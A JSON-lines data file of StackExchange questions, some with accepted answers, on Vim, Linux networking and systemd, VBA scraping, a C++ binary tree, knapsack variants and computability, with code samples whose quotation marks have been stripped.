{  "id": "_vi.12619"  , "question": "<tspan x=0 0.54717 0.75472 1.32077 1.81134 2.35851 2.58493 3.13213.39625 3.96229 4.50947 >Lincoln 30%</tspan>  I have to yank the text between the tspan tags 32 times in a XML document.  This is what I did: vsplit and enew to create a seperate window. Key combination: vit and yy to select and copy text between tags.Go to new window and paste and return to old window. This 32 times.  It works but my question: do you know a more efficient way of doing this?"  , "title": "More efficient way of yanking text out of tags?"  , "tags": "cut copy paste"  } 
{  "id": "_unix.7940"  , "question": "I am trying to restore a VM but I get this error message:I think this happened because, while the VM was live, I removed one snapshot.How do I fix this, short of restoring older snapshots?NOTE: This problem happens when I use version 4.0.4. Version 3.2.10 allows me to delete a snapshot of a VM, even though it's live. I guess it's a regression... watch me downgrading."  , "title": "I'm failing to restore a VirtualBox VM"  , "tags": "virtualbox"  } 
{  "id": "_webapps.5155"  , "question": "So you're the winning bidder all week until the last 5 seconds when someone shoots in and outbids you.  Is there anything to help prevent that from happening or is that just a fact of web auctions?"  , "title": "Are there any tricks to prevent last second losses on eBay?"  , "tags": "ebay"  , "accepted_answer": "Bid the real maximum price you're willing to pay, then if you lose you don't mind because you didn't want to spend that much anyway.As for a real answer, I don't think there's a trick beside bidding at the last second too."  } 
{  "id": "_vi.2165"  , "question": "I got a plain text file with whitespace separated columns of values.Like this:AU 3030 .... ... ....  AU 3031 .... ... ....  AU 3032 .... ... .... AU 3033 .... ... .... IT 48100 ... .. .....IT 40100 ... .. .....IT 48123 ... .. .....UK 3333 ... ... ..... UK 4444 ... ... .....UK 5555 ... ... .....I also got this regex which will match any adjacent line with the same value in the first column (assume the file is sorted on the first column) except the last:/^\\(\\([A-Z0-9]\\+\\)\\s\\+.*\\n\\)\\(\\2\\)\\@=(or to make it less hairy):/^\\v([A-Z0-9]+)\\s+.*\\n(\\1)@=Is it possible to fold lines over the line which was not matched? Having this result:+-- 4 lines AU ....+-- 3 lines IT ....+-- 3 lines UK ...."  , "title": "Folding by regex search pattern"  , "tags": "regular expression;folding"  , "accepted_answer": "Do set foldmethod=expr and use 'foldexpr' to set a vim script expression that will define the fold start points.set foldmethod=exprset foldexpr=get(split(getline(v:lnum-1)),0,'')!=get(split(getline(v:lnum)),0,'')?'>1':'='This looks more complicated than it is, because we can't easily use spaces in :set, but with spaces, and a newline or 2, it looks like:get(split(getline(v:lnum - 1)), 0, '') != get(split(getline(v:lnum)), 0, '')    \\ ? '>1'    \\ : '='OverviewBasically this compares the first word of each line with the previous line. If the words are different then the line is start of the fold, >1. Otherwise it keeps the same fold level, =.Glory of Detailsset foldmethod=expr to tell Vim to use a vim script expression to determine the foldings'foldexpr' option holds the vim script expressionEvaluating the condition with a ternary that returns >1 when a fold should start and = when the fold level should continuev:lnum is the current line that that 'foldexpr' is running on to update the foldsGet the contents the current line (v:lnum) and the previous line (v:lnum - 1) via getline()Split each line into words via split()Use get() to get the first index of the freshly split wordsUse a default value of '' in case of a blank line. e.g. get(words, 0, '')Compare the first word of the current line with the first word of the previous line in the condition portion of the ternaryNote: this method may have some performance issues with very large documentsFor more help see::h 'foldmethod':h 'foldexpr':h getline(:h v:lnum:h split(:h get("  } 
{  "id": "_unix.384031"  , "question": "First of all, not sure at all if this is the correct place to ask. If it isn't, please forgive me.Well, I have an OrangePi zero as a server. I installed on it armbian (legacy, xenial version, kernel 4.11.5-sun8i).This has a 100Mb ethernet port; I set it up as a NAS, but I'm experiencing slow downloads from it.I run iperf3, and this is the output I received on the server. First I tested it as a server (so I verified the UPLOAD speed):user@DiscoRete:~$ iperf3 -s-----------------------------------------------------------Server listening on 5201-----------------------------------------------------------Accepted connection from 192.168.1.104, port 51784[  5] local 192.168.1.2 port 5201 connected to 192.168.1.104 port 51785[ ID] Interval           Transfer     Bandwidth[  5]   0.00-1.00   sec  10.8 MBytes  90.8 Mbits/sec[  5]   1.00-2.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   2.00-3.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   3.00-4.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   4.00-5.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   5.00-6.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   6.00-7.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   7.00-8.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   8.00-9.00   sec  11.3 MBytes  94.9 Mbits/sec[  5]   9.00-10.00  sec  11.3 MBytes  94.9 Mbits/sec[  5]  10.00-10.02  sec   220 KBytes  94.6 Mbits/sec- - - - - - - - - - - - - - - - - - - - - - - - -[ ID] Interval           Transfer     Bandwidth[  5]   0.00-10.02  sec   113 MBytes  94.5 Mbits/sec                  sender[  5]   0.00-10.02  sec   113 MBytes  94.5 Mbits/sec                  receiver-----------------------------------------------------------Server listening on 5201-----------------------------------------------------------Bandwidth is about 95Mb/s; since the link is a 100Mb ethernet it is quite ok for me.Then I tested the DOWNLOAD speed:user@DiscoRete:~$ iperf3 -c 192.168.1.104Connecting to host 192.168.1.104, port 5201[  4] local 192.168.1.2 port 47504 connected to 192.168.1.104 port 5201[ ID] Interval           Transfer     Bandwidth       Retr  Cwnd[  4]   0.00-1.00   sec   284 KBytes  2.33 Mbits/sec   37   2.83 KBytes[  4]   1.00-2.00   sec   270 KBytes  2.21 Mbits/sec   39   2.83 KBytes[  4]   2.00-3.00   sec   393 KBytes  3.22 Mbits/sec   40   1.41 KBytes[  4]   3.00-4.00   sec   352 KBytes  2.88 Mbits/sec   29   1.41 KBytes[  4]   4.00-5.00   sec   481 KBytes  3.94 Mbits/sec   32   1.41 KBytes[  4]   5.00-6.00   sec   488 KBytes  4.00 Mbits/sec   56   2.83 KBytes[  4]   6.00-7.00   sec   315 KBytes  2.58 Mbits/sec   37   2.83 KBytes[  4]   7.00-8.00   sec   236 KBytes  1.93 Mbits/sec   28   2.83 KBytes[  4]   8.00-9.00   sec   346 KBytes  2.84 Mbits/sec   38   2.83 KBytes[  4]   9.00-10.00  sec   293 KBytes  2.40 Mbits/sec   32   2.83 KBytes- - - - - - - - - - - - - - - - - - - - - - - - -[ ID] Interval           Transfer     Bandwidth       Retr[  4]   0.00-10.00  sec  3.38 MBytes  2.83 Mbits/sec  368             sender[  4]   0.00-10.00  sec  3.32 MBytes  2.78 Mbits/sec                  receiveriperf Done.Wait: less than 3Mb/s??? What is the problem here in your opinion? How can I further test it?Thank youUPDATE: I changed the ethernet wire; it worked better the first time (transfers around 8MB/s), but then it went back to 300kB/s (so the 2Mb/s seen here).If it can help, I noticed that when the cable is disconnected the two LEDs on the port light up on the OrangePI zero...This weekend, when I get back home, I'll try changing the oPI board with another one I got. Then I'll try with a direct connection.Do you have any other hints at how can I debug this?"  , "title": "Very low outgoing network speed"  , "tags": "networking;performance"  } 
{  "id": "_codereview.165782"  , "question": "I have created a scraper for yell.com in vba. The scraper is efficient enough to pull data from that site, whatever the search parameter is. If any link from that site is given to my parser, it is able to scrape the whole records irrespective of how many pages it has spread across. There is no a tag for the first page in pagination option for this reason it was previously scraping all the records except for the first page. However, I've fixed that issue and now it is working flawlessly pulling all the records available there. I tried to make it accurate yet there are always rooms for improvement.Sub Yell_parser()Const mlink = https://www.yell.comDim http As New XMLHTTP60Dim html As New HTMLDocument, html2 As New HTMLDocumentDim page As Object, newlink As StringDim I As Long, x As LongWith http    .Open GET, https://www.yell.com/ucs/UcsSearchAction.do?keywords=coffee&location=United+Kingdom&scrambleSeed=1370600159, False    .setRequestHeader User-Agent, Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36    .send    html.body.innerHTML = .responseTextEnd WithSet page = html.getElementsByClassName(row pagination)(0).getElementsByTagName(a)' First page first, selected already, 'row pagination' doesn't have 'a' for itGetPageData x, htmlFor I = 0 To page.Length - 2    newlink = mlink & Replace(page(I).href, about:, )    With http        .Open GET, newlink, False        .setRequestHeader User-Agent, Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36        .send        html2.body.innerHTML = .responseText    End With    ' Next pages start from here    GetPageData x, html2Next IEnd SubSub GetPageData(ByRef x, ByRef html As HTMLDocument)    Dim post As HTMLHtmlElement    For Each post In html.getElementsByClassName(js-LocalBusiness)        x = x + 1        With post.getElementsByClassName(row businessCapsule--title)(0).getElementsByTagName(a)            If .Length Then Cells(x + 1, 1) = .item(0).innerText        End With        With post.getElementsByClassName(col-sm-10 col-md-11 col-lg-12 businessCapsule--address)(0).getElementsByTagName(span)            If .Length > 1 Then Cells(x + 1, 2) = .item(1).innerText        End With        With post.getElementsByClassName(col-sm-10 col-md-11 col-lg-12 businessCapsule--address)(0).getElementsByTagName(span)            If .Length > 2 Then Cells(x + 1, 3) = .item(2).innerText        End With        With post.getElementsByClassName(col-sm-10 col-md-11 col-lg-12 businessCapsule--address)(0).getElementsByTagName(span)            If .Length > 3 Then Cells(x + 1, 4) = .item(3).innerText        End With        With post.getElementsByClassName(businessCapsule--tel)            If .Length > 1 Then Cells(x + 1, 5) = .item(1).innerText        End With    Next postEnd Sub"  , "title": "Web scraper for Yell"  , "tags": "vba;web scraping"  , "accepted_answer": "I would focus on the following improvements:avoid code duplication - for instance, you have the User-Agent string specified twice - extract it as a constant and re-use. GetPageData also has duplicated codesome of your locators are layout-oriented which makes them less reliable and less readable - Bootstrap classes like col-lg-12 or col-md-11 have a layout/design meaning and have a high probability of change. row businessCapsule--title can become businessCapsule--title; col-sm-10 col-md-11 col-lg-12 businessCapsule--address would become businessCapsule--address."  } 
{  "id": "_softwareengineering.284255"  , "question": "I'm trying to create a calendar app similar to this design: Calendar DesignI'm currently using this calendar framework: CVCalendar and it's working great, but my question is, what do you think is the best approach to take for displaying the events beneath the calendar?I see 2 options to take:Option 1:I use a UITableView and place the calendar view as the only TableViewCell in it's own section, and the events would be the rows underneath it in a seperate section.The problem with that, is every time the user selects a new day, I need to load the events pertaining to that day which would require me to reload the whole TableView, including the calendar view which doesn't need to be reloaded.Option 2:I create custom views for the events, and add them as subviews in the scroll view along with the calendar view. That way, when the user clicks on a new day, I would just delete the event subviews and recreate them based off of the new data."  , "title": "Best architecure approach to develop iOS app"  , "tags": "design;ios;mobile;xcode;swift language"  } 
{  "id": "_unix.207719"  , "question": "I have a tricky step to walk for my system (openvpn, 20 clients - raspberries, 1 server CentOS).I want to make an auto install, from clients, for their keys.They call a php page on the server, which generate a .tar containing client.key, client.crt & ca.crt (and conf).Allright this works perfectly in root ssh.Now I make a php script with a shell_exec(my shell script).But almost all commands fails.A matter of being root or not (my php is in /home/non-root-user/public_html/testgenerateforinit)for instance : pkitool, cp /etc/openvpn/mykey.tgz /home/.../public_html/.../fails in php.How should I process ?Tks"  , "title": "Php shell_exec() : for non root user, how to access root command"  , "tags": "shell script;php;openvpn"  } 
{  "id": "_unix.38591"  , "question": "In Firefox we have two options at Firefox->Preferences->Preferences->Fonts and colors->Colors menu, Use system colors and Sites can use other colors.I would like keep the first one checked (and this is ok) and change the second on a quick way.A quick way could be pressing a shortcut on keyboard, running a terminal command or changing a content of a config file (because I can do a shell script and use a keyboard command).My motivation is I would like to always use my system colors but if a webpage has strange visuals, I'd like change it to the original quickly.Any ideas?"  , "title": "How to change a firefox option on a quick way (via shortcuts, command line,..)?"  , "tags": "command line;configuration;keyboard shortcuts;firefox;options"  , "accepted_answer": "I had found a solution...I asked on mozilla forum and they returned a answer to me. The solution is:Install a extension called PrefBar. With this extension we can put a checkbox on mozilla that will change the property browser.display.use_document_colors. We can set a shorcut too (for example, F1).With this extension we can enable severel other options too."  } 
{  "id": "_softwareengineering.344145"  , "question": "The Scrum Guide defines a single unit that consists of a Product Owner, a Development Team of 3-9 members, and 1 Scrum Master for somewhere between 5 and 11 members. I've seen instances where the Product Owner may have support staff or the team may not have a dedicated Scrum Master to vary that number slightly, but it seems to cap out at about a dozen people.The Nexus Guide describes one method of scaling Scrum to handle 3-9 Scrum teams working on a single product. It adds a new Nexus Integration Team which may be dedicated members or it may be composed of people from the various Scrum teams. Based on that guide, it would scale to about 20-120 individuals.Disciplined Agile can scale up from one team to N teams. A standard individual team size would be about the same as in Scrum - 3-9 members plus supporting roles from various specialists, independent test teams, domain experts, etc. The considerations in this framework aren't simply scaling, but applying the agile methods in large organizations, regulated environments with mandated compliance, outsourcing, globally distributed teams. It seems like the limit is that you would have one instance of DA per product or product line.To varying degrees, I've been involved in working on or implementing processes using Scrum, Nexus, and DAD, so I have a solid understanding of those. I don't have a working knowledge of LeSS and SAFe, beyond what I'm reading other people saying.LeSS seems straightforward. It's an alternative to Nexus that has the capability to scale much larger. The rules of LeSS state that LeSS is designed for 2-8 team and LeSS Huge is designed for 8+ teams, which I would estimate the development organization size to be at about 15-80 for LeSS and 80+ for LeSS Huge. Depending on your organization, you would probably be looking at 20-110 people in the product organization for LeSS and 100+ people in LeSS Huge, counting management, independent QA, operations, and so on. Both forms of LeSS appear to be geared toward a single product, or perhaps a closely related set of products (such as a product line or set of microservices). Every product would have its own instance of LeSS (or LeSS Huge).SAFe seems to be inclusive of the whole organization - operations, user experience, enterprise architects and systems engineers, product managers, QA, developers, and so on. It has two models - a 3 level organization and a 4 level organization. The 3 level organization identifies Team, Program, and Portfolio. The 4 level organization adds a Value Stream level between Program and Portfolio. Based on the number of roles identified, it seems like this is targeting large enterprise organizations with multiple products and concurrent programs. Reading their guidance for implementing, it seems like they expect an implementing organization to train executives and management and then at least 50 members of a development team. Minimum organization size would seem to be a couple of hundred people across all of the identified groups and multiple products to make implementation make sense.Am I right in my assumption that LeSS is a competitor to Nexus with respect to the target audience and SAFe is targeting very large organizations with a large number of products or product lines, far more than the other scaled agile frameworks are?"  , "title": "What is the intended or target organizational size for Large Scale Scrum (LeSS) and Scaled Agile Framework (SAFe)?"  , "tags": "agile;large scale scrum;scaled agile framework"  } 
{  "id": "_softwareengineering.237078"  , "question": "I want to build up a social network, targeted to a specific interest. I want to generate revenues in form of ads. I first thought of building it from scratch, which will take a lot of time (even if it's something simple), then i remembered there are open source options like Diaspora or Friendica. I don't know if there are others... My question is, with these previously mentioned projects or any other, is it possible to legally generate revenues?Diaspora license is: AGPLv3,[3][4] some parts dual-licensed under MIT License[5] as wellFriendica: AGPLThank you!"  , "title": "open source social network allowing advertising"  , "tags": "open source"  , "accepted_answer": "Both the AGPL and the MIT license only address redistribution and have no restrictions at all regarding how you use the software. Neither forbids any form of commercial activity. The only restriction is that the AGPL forces you to publish any code changes you make. So when you change the software to add support for displaying advertisement, you will have to publish these changes."  } 
{  "id": "_unix.195050"  , "question": "I have a C code which I kept in systemd service for boot time start. After restart it started successfully, but after a while it got killed and again started successfully as the type set is forking. The error log mqtt_to_REST.service - TCUP MQTT to RESTful connector   Loaded: loaded (/lib/systemd/system/mqtt_to_REST.service; enabled)   Active: activating (auto-restart) (Result: timeout) since Wed 2015-04-08 12:19:18 UTC; 648ms ago  Process: 289 ExecStart=/usr/bin/sim (code=killed, signal=TERM)Apr 08 12:19:18 edison systemd[1]: Failed to start TCUP MQTT to RESTful connector.Apr 08 12:19:18 edison systemd[1]: Unit mqtt_to_REST.service entered failed state.The startup script :[Unit]Description=TCUP MQTT to RESTful connector#Documentation=NA#DefaultDependencies=no#Before=xdk-daemon.service#After=mqtt.service[Service]Type=forkingExecStart=/usr/bin/sim#ExecStart=/home/root/jsmn/example/sim /dev/null 2>&1ExecReload=/bin/kill -HUP $MAINPIDRestart=on-failureRestartSec=10#WatchdogSec=1min[Install]WantedBy=multi-user.targetSo where is the problem actually happening?"  , "title": "Yocto systemd service script problem"  , "tags": "systemd"  } 
{  "id": "_cs.44562"  , "question": "In the paperQuick Detection of Brain Tumors and Edemas: A Bounding Box MethodUsing Symmetry, Saha et althe authors claim that the running time of the algorithm (Matlab implementation) is $O(h)$. I don't understand how they arrive at this.The algorithm works as follows:The algorithm does a vertical sweep of a whole image of size $h\\times w$. For every $l$ between $0$ and $h$, a score function $s$ is computed. To compute $s$ we we calculate histogram computation of the four parts of the whole image : $[0:l,1:w/2]$, $[l:h,1:w/2]$, $[0:l,w/2:end]$ and $[l:end,w/2:end]$.How do they arrive at $O(h)$ time complexity for the algorithm? Do they consider histogram computation to be $O(1)$? PS: This question is related to What is the time-complexity of histogram computation? but I hope to get the exact answer in concrete case this time ... "  , "title": "Time complexity of a vertical sweep algorithm with histogram computations"  , "tags": "time complexity;image processing"  , "accepted_answer": "$O(h)$ sounds hard to believe, unless there's some pre computation that's not counted here, as it takes $\\Theta(hw)$ time just to read every pixel of the image.Computing a histogram from scratch can't be done in $O(1)$ time.  But updating a histogram can be done efficiently.  If you already have a histogram for some set of pixels, and then you add or delete one pixel, you can update the histogram in $O(1)$ time.  This kind of idea can be used to speed up the sort of thing you're talking about, because all of the histograms we want are closely related.In particular, when we increment $l$, we add or delete a row from a histogram.  Thus you can update the histogram more efficiently than computing it from scratch."  } 
{  "id": "_unix.204570"  , "question": "I have a file of three columns:1   A     0.52   B     0.73   A     104   C     45   B     4I want to sort the file by increasing order of column 3 and group by column 2 1  A   0.53  A   102  B   0.75  B   44  C   4I know how to sort only based on the 3rd column :sort -k3,3 file But can we  group by the second column ? "  , "title": "sort file based one colum and group by another column"  , "tags": "linux;files;awk;sort;group"  } 
{  "id": "_softwareengineering.39845"  , "question": "I'm currently tasked with writing a wcf service that, for now, will only used inside the company network, the problem is that I'm not sure how I should handle the operations it exposes.The software that will use this service will have to modify similar tables in different ways. For example a table, that has columns a,b,c and d. Program X only updates columns a and b, while program Y updates b,c and d.I feel that a generic Update method that accepts the whole record is easier to write and makes the service less bloated. But it does feel less secure, and would probably make it harder to understand for new developers.How do I best handle these situations on a service level?edit: Yes the tasks are in a sense unique, but the problem is that it's difficult to figure out how unique the service should be. Do I make a general service to allow access to the data, and let the details of those tasks be handled client-side? Security concerns are not that high. The biggest concern is maintainability and ease of understanding. At this moment we have 20+ databases where some of them have 100+ tables."  , "title": "Best way to expose a data-oriented service"  , "tags": "c#;wcf;services"  } 
{  "id": "_codereview.110752"  , "question": "When searching for information about the Binary Tree, the code on people's blogs are complicated, so here I'm trying to code a very simple Binary Tree.Am I missing anything? Is there a better way I could be implementing the BinTree::Remove?#ifndef _BINTREE_H__#define _BINTREE_H__using namespace std;class BinTree{private:    struct tree_node     {        tree_node* left;        tree_node* right;        int data;    };    tree_node* root;public:    BinTree()    {        root = NULL; //Don't forget The constructor!It's Gonna kill the code    }    void Insert(int);    //int nodes();    bool IsEmpty(){ return root == NULL; }    void print_Preorder();    void Preorder(tree_node *);    bool Search(int);    void Remove(int);};void BinTree::Insert(int d){    tree_node * t = new tree_node;    tree_node * parent = NULL;    t->data = d;    t->left = NULL;    t->right = NULL;    if (IsEmpty()){        root = t;    }    else{        tree_node * curr;        curr = root;        while (curr){            parent = curr;              if (t->data > curr->data) curr = curr->right;            else curr = curr->left;        }        if (parent->data > t->data)            parent->left = t;        else            parent->right = t;    }}void BinTree::print_Preorder(){    Preorder(root);}void BinTree::Preorder(tree_node* p){    if (p != NULL)    {        cout <<   << p->data <<  ;        if (p->left) Preorder(p->left);        if (p->right) Preorder(p->right);    }    else return;}bool BinTree::Search(int d){    bool found = false;    if (IsEmpty())    {        cout <<  This Tree is empty!  << endl;        return false;    }    tree_node* curr;    tree_node* parent;    curr = root;    parent = (tree_node*)NULL;    while (curr != NULL)    {        if (curr->data == d)        {            found = true;            break;        }        else        {            parent = curr;            if (d>curr->data) curr = curr->right;            else curr = curr->left;        }    }    if (!found)    {        cout <<  Data not found!  << endl;    }    else    {        cout <<  Data found!  << endl;    }    return found;}void BinTree::Remove(int d){    bool found = false;    if (IsEmpty())    {        cout <<  This Tree is empty!  << endl;        return;    }    tree_node* curr;    tree_node* parent;    curr = root;    parent = NULL;    while (curr != NULL)    {        if (curr->data == d)        {            found = true;            break;        }        else        {            parent = curr;            if (d>curr->data) curr = curr->right;//l            else curr = curr->left;        }    }    if (!found)    {        cout <<  Data not found!  << endl;        return;    }    // Node with single child    if ((curr->left == NULL && curr->right != NULL) || (curr->left != NULL        && curr->right == NULL))    {        if (curr->left == NULL && curr->right != NULL)        {            if (parent->left == curr)            {                parent->left = curr->right;                delete curr;            }            else            {                parent->right = curr->right;                delete curr;            }        }        else // left child present, no right child        {            if (parent->left == curr)            {                parent->left = curr->left;                delete curr;            }            else            {                parent->right = curr->left;                delete curr;            }        }        return;    }    //We're looking at a leaf node    if (curr->left == NULL && curr->right == NULL)    {        if (parent == NULL)        {            delete curr;        }        else        if (parent->left == curr) parent->left = NULL;        else parent->right = NULL;        delete curr;        return;    }    //Node with 2 children    // replace node with smallest value in right subtree    if (curr->left != NULL && curr->right != NULL)    {        tree_node* chkr;        chkr = curr->right;        if ((chkr->left == NULL) && (chkr->right == NULL))        {            curr = chkr;            delete chkr;            curr->right = NULL;        }        else // right child has children        {            //if the node's right child has a left child            // Move all the way down left to locate smallest element            if ((curr->right)->left != NULL)            {                tree_node* lcurr;                tree_node* lcurrp;                lcurrp = curr->right;                lcurr = (curr->right)->left;                while (lcurr->left != NULL)                {                    lcurrp = lcurr;                    lcurr = lcurr->left;                }                curr->data = lcurr->data;                delete lcurr;                lcurrp->left = NULL;            }            else            {                tree_node* tmp;                tmp = curr->right;                curr->data = tmp->data;                curr->right = tmp->right;                delete tmp;            }        }        return;    }}#endif"  , "title": "Coding And Binary Tree implementation C++"  , "tags": "c++;tree"  } 
{  "id": "_unix.286898"  , "question": "We are using a load balancer for our web servers (3 debian clones).I was wondering if it was possible to push the same config onto the three web servers and restart each instance all in one shot so as to avoid differences in configs and human errors?I guess an ssh script could do it but is there no nice gui/webadmin/ready made thingy that does that?"  , "title": "Push same webserver config to multiple front ends"  , "tags": "debian;configuration;webserver"  } 
{  "id": "_scicomp.10557"  , "question": "OK, I have a FORTRAN code which numerically integrates equations of motion for large data sets of initial conditions. I run this program in my PC and it requires about 1 day of computations per data set. So, I was wandering if there is any site with super-fast PCs (or better a grid of processors) in which I could upload the .exe and perform my calculations much faster.Any suggestions?!"  , "title": "Ways to speed up the computations"  , "tags": "performance"  } 
{  "id": "_unix.375667"  , "question": "I need to drive a led matrix which acts as a monitor. therefore i want to connect it to my beaglebone, which of course runs on a headless debian.My first thought was to install some gui like lxde, to see if there is any output at all.but the real question is if i could simply control the hdmi directly, which means that i want to maybe give the driver or whatever is responsible for driving the hdmi output a picture or video signal which then should appear on the connected monitor. i couldn't find anything on that topic on google because the search term hdmi delivers only Home Theater like problems, which doesn't help me.is there a possibility to achieve the above mentioned? is it possible to control the hdmi via command line? which driver or module or whatever is driving the hdmi output on a beaglebone?thanks in advance!"  , "title": "Manually control hdmi output of a Beaglebone/Raspberry"  , "tags": "debian;raspberry pi;hdmi;beagleboneblack"  } 
{  "id": "_softwareengineering.201699"  , "question": "I am looking for an I/O model, in any programming language, that is generic and type safe.By genericity, I mean there should not be separate functions for performing the same operations on different devices (read_file, read_socket, read_terminal). Instead, a single read operation works on all read-able devices, a single write operation works on all write-able devices, and so on.By type safety, I mean operations that do not make sense should not even be expressible in first place. Using the read operation on a non-read-able device ought to cause a type error at compile time, similarly for using the write operation on a non-write-able device, and so on.Is there any generic and type safe I/O model?"  , "title": "Generic and type safe I/O model in any language"  , "tags": "design;io"  } 
{  "id": "_unix.292702"  , "question": "how can I see if my backups is saved after the minute assigned? how can I test it if it's ok?"  , "title": "how can I see if my cron is running and doing the job?"  , "tags": "linux;cron"  } 
{  "id": "_webapps.43883"  , "question": "I have different people who email me about the same subject, e.g, WBR and AIB both email me about HP201.  However, so far as I can see Google only allows the sub-label HP201 to be attached to one parent.  Aside from making HP201 a parent itself is it possible to make it a sub label of WBR and AIB?"  , "title": "Is it possible to add the same sublabel to different parent labels?"  , "tags": "gmail;gmail labels"  , "accepted_answer": "No. A label can only have one parent (or no parent).You could probably make two different HP201 labels to put under their respective parents.Really, though, you have a use-case for not having HP201 as a sub-label. It should be a label unto itself. That way you can easily find all of the HP201 conversations, WBR conversations, and AIB conversations. A quick search (label:HP201 label:WBR) will easily find the conversations with both labels."  } 
{  "id": "_unix.349676"  , "question": "I would like to know that is it possible to use Android studio in FreeBSD ?I tried to run it but I couldn't.I installed IntelliJ from ports but there was no option to select the Android SDK. "  , "title": "Android studio on FreeBSD"  , "tags": "freebsd;android;adb"  , "accepted_answer": "When Android Studio was still in Beta, I tried to get it running on FreeBSD (my preferred platform) but had nothing but issues.I did manage to compile a debug APK but could not get a full release version (weird). I ran Android Studio under Linux Emulation but there was still issues with the Java side of things (from memory).I even wrote a complex script for adb to help install the APKs as they would not install from the Run option of Android Studio. Not hard, but did speed things up a lot.In the end I gave up and tried a heap of Linux distro (Live CDs) until I found one I was comfortable with - then installed Android Studio without issues.Personally I still prefer FreeBSD for a lot of things but I am more than happy with a stable working environment for Android development.Not the answer you were looking for I know, just sharing my own experience. I guess things could have changed from the Beta to now (v2.3) - but I've decided that Android Studio is updated so often (too often to be honest) that I'm not going to risk issues with FreeBSD and just run Linux."  } 
{  "id": "_cs.79859"  , "question": "I have a slightly modified version of a classical 01 knapsack problem. Specifically, the problem has an additional constraint which requires that if more than one feasible selection with equal value exists then the selection with minimum total weight be selected. For example, consider a knapsack with size 3 and the following set of items to choose from; tuple is defined as (name, weight, value):items = ((alpha, 3, 4), (beta, 1, 3), (gamma, 1, 1))There exist two possible selections with total weight <= 3 and value = 4:Selection 1:[alpha] with a total value of 4 and weight 3Selection 2:[beta, gamma] with a total value of 4 and weight 2Due to the additional constraint, selection 2 is the correct answer. However, the classical 01 knapsack doesn't ensure this. So my question is, does there exist a variant of 01 knapsack which handles this? If not how do I tackle this additional constraint.So far, I have the following two approaches which can possibly work:Calculate the density of the objects and then perform knapsack usingdensity as the value. This approach however is suited to fractionalknapsack where any arbitrary amount of an item can be taken. In thiscase, the item, if taken, must be taken in its entirety.Sort the items with respect to weights before running knapsack onthem."  , "title": "01 Knapsack with selection of items with minimum total weight"  , "tags": "knapsack problems"  , "accepted_answer": "Sure.  It's easy to take any algorithm to solve the ordinary knapsack problem, and apply it to your problem.  In the ordinary knapsack problem, we specify an upper bound on the weight.  Once we find the maximum value achievable with that weight, next we'll try to see if we can reduce its weight further.  Do this by solving a new version of the knapsack problem, the same as the original, except the maximum weight has been reduced.  See how far you can reduce the maximum weight while still achieving the same value.  You can use binary search for that."  } 
{  "id": "_webmaster.7084"  , "question": "I do my own hosting for a few clients on my own VPS server (Lindode).  Since my clients so far have been extremely low traffic, I have not had to really dig into some of the considerations that I would need for a higher traffic site.  Now I am bidding on a client whose site will be potentially higher (not Facebook or twitter, but higher than Joe's ice cream shop).  Is there a list of things I need to think about that I may be missing?I am going to assume, at least at first, that I will be able to handle them on my shared Linode, but I could move to a dedicated Linode if need be.  I am not thinking so far of multiple servers, but short of that there are still considerations.  For example, mod_perl instead of straight CGI, better backups, etc.   What else?In case it matters, the stack will be debian-linux / apache / Perl / mysql / Template Toolkit."  , "title": "list of things to think about for hosting a potentially high traffic website"  , "tags": "web hosting"  } 
{  "id": "_unix.220870"  , "question": "I have setup a PhalconPHP project on an AWS EC2 instance. To get thinks working I gave the cache directory 777 permissions. I realise this is bad practice - what would be the correct permissions for a cache directory on a webserver?I presume it must specific to the user the httpd service is running as (the output from the method given by the top voted answer to this question implies that the user is apache). But I obviously want to keep my ec2-user having write access to the directory (I don't want to have to use sudo the whole time).What would be the correct set of permissions for the directory? I have a www group that ec2-user is part of, should apache be added to that?"  , "title": "Correct permissions for a cache directory"  , "tags": "permissions;apache httpd;aws"  } 
{  "id": "_cs.49491"  , "question": "Let $A$ and $B$ be two languages. If $A \\le_{m} B$ ( reducible by mapping ) then I know that if $B$ is decidable so is $A$ and if $B$ is recognizable so is $A$. And  if $A \\le_{T} B$, then if $B$ is decidable so is $A$. But I can't say the same thing for recognizability which  I can see by example when  $A \\equiv L_{\\phi}$ ( the empty language ) and if $B \\equiv A_{TM}$ ( acceptance language ). I know this is because of the fact that we assume the orcale to decide $B$ while proving $A \\le_{T} B$. Why is it so that we assume the oracle to decide and not recognize $B$ while comparing relative difficulty of two two languages ? Sorry for vague terminology of relative difficulty, I have not yet begun reading about complexity theory and hierarchies and for now only have a vague idea about it."  , "title": "Mapping reducibility vs. Turing reducibility"  , "tags": "computability;reductions;semi decidability"  , "accepted_answer": "You can define a notion of reducibility which will ensure that if $A$ reduces to $B$ and $B$ is recognizable then so is $A$. The definition allows an oracle call to $B$, but the semantics are different: if the contents of the oracle tape are in $B$ then the machine continues, and otherwise it gets stuck (never halts).The problem with this definition is that it is pretty weak. While the other property (with recognizability replaced by decidability) still holds, it never helps you that $B$ is decidable. Compare this with mapping reducibility: there you are using the full power of decidability.Still, the definition could be useful. Assuming you aren't the first to come up with this idea, the only conclusion is that this definition doesn't lead to a nice enough theory. It's also possible that you came up with a nice concept which you could develop to a nice theory. A third possibility is that a theory has been developed, but I am unaware of it."  } 
